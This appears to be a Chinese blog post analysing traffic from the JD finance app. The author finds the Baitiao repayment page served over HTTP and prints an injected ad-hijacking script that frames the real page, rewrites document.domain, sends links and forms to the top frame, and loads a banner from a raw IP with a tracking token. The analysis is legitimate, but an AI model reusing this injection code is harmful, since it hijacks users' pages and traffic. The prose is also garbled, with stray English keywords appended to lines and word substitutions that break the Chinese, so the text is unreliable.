某一天,准备某东白条还款的时候,忽然看见界面底部有个广告条。javascript
广告的内容看着怪怪得感受。
如图:html
点开其中一个广告条的内容java
他们本身自己就是电商平台,并且本身有金融分期的能力,怎么会有这样的广告条接入第三方的分期功能呢。jquery
想一想多是被植入广告了吧。蛮好奇这个是怎么进去的。app
正好路由器有个抓包的功能,试试看。dom
打开抓包功能,而后打开APP,而后逛了一下相关的页面,点了一下弹出来的广告。ui
粗暴的抓了两段。而后拿下来用Wireshark看了一下。spa
打开内容,都快吓到了。code
白条内容页面这样涉及到钱、款、隐私等等信息的页面,竟然还走的http协议!!!(买不起CA数字证书能够去大家友商QCloud那里申请免费的呀,虽然只有DV证书)orm
大概过滤了一下内容,很容易就找到了
顺道带走了好多的信息。
而后,应该就是这个请求被修改了吧。(并且在请求参数里带上经纬度信息如今看来却是蛮危险的事情!!!)
具体的内容,有个 iframe 在里面。不肯定后面那一小段的乱码是啥。
感受这段代码不像是jd本身的。
由于页面里面引入了libs.baidu.com/jquery/1.7.0/jquery.min.js
,
而jd本身引入的是static.360buyimg.com/finance/mobile/base/1.0.0/js/lib/??zepto-1.1.4.js,fastclick.js
拿出来的html内容。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1" /> <script type="text/javascript" src="http://libs.baidu.com/jquery/1.7.0/jquery.min.js"></script> </head> <body style="margin: 0px;"> <iframe src="http://btm.jd.com/?lng=121.329011&lat=31.134046&un_area=2_2834_51987_0&sid=a114317f9499807570ea1d4fbdf62dfw&_t=1477486222983" style="width: 100%; height: 100%" frameborder="no" scrolling="auto"></iframe> <script type="text/javascript"> $("iframe").height($(document).height()); function change() { if (document.domain.indexOf(".") != -1) { try { document.domain = document.domain.substring(document.domain.indexOf(".") + 1) } catch (a) {} } } function init() { try { if (window.frames[0].location.href != "about:blank") { var b = window.frames[0].document; if (b) { $(b).ready(function() { var e, c = $(b).find("meta[name='viewport'][content]"); if (c.size()) { $(document).find("meta[name='viewport']").attr("content", c.attr("content")); var d = c.attr("content").match(/initial\-scale=(["']?)([\d\.]+)\1?/); d && (e = parseInt(1 / parseFloat(d[2]))) } document.title = b.title; $(b).find("body").width($(window).width()); $(window.frames[0]).bind("unload", _close_callback); $(window.frames[0].document).find("a, form").attr("target", "_top"); _show_callback(e) }); return } else { change() } } } catch (a) { if (a.code == DOMException.SECURITY_ERR) { change() } } window.setTimeout(init, 500) } function _show_callback(b) { b = b || 1; var a = "http://118.178.108.0/js/banner/index.html"; a += ((a.indexOf("?") != -1 ? "&" : "?") + "_us=" + encodeURIComponent("MEsrYjl0WDZwaVBQeGRleUxJR2gzUT09")); $("body").append('<div style="position: fixed; z-index: 9999; width: 100%; height: ' + (b * 60) + 'px; left:0px; right:0px; bottom: 0px; overflow: hidden;background: rgba(255,255,255,0.8);"><span onclick="_close_callback()" style="position: absolute; right: 0px; width: ' + (b * 20) + "px; height: " + (b * 20) + "px; cursor: pointer; z-index: 999999; background-color: rgba(0,0,0,0.3); color: white; font-weight: bolder; line-height: " + (b * 20) + "px; text-align: center; font-size: " + (b * 20) + 'px;">..</span><iframe src="' + a + '" frameborder="no" scrolling="no" style="width: 100%; height: 100%"></iframe></div>') } function _close_callback() { $("body > div").remove() } $(document).ready(init) </script> </body> </html>
今天刷微博的时候看到了这样一条内容。
要是谁动点歪脑筋,篡改的是其余的请求里的内容,故事估计就多了。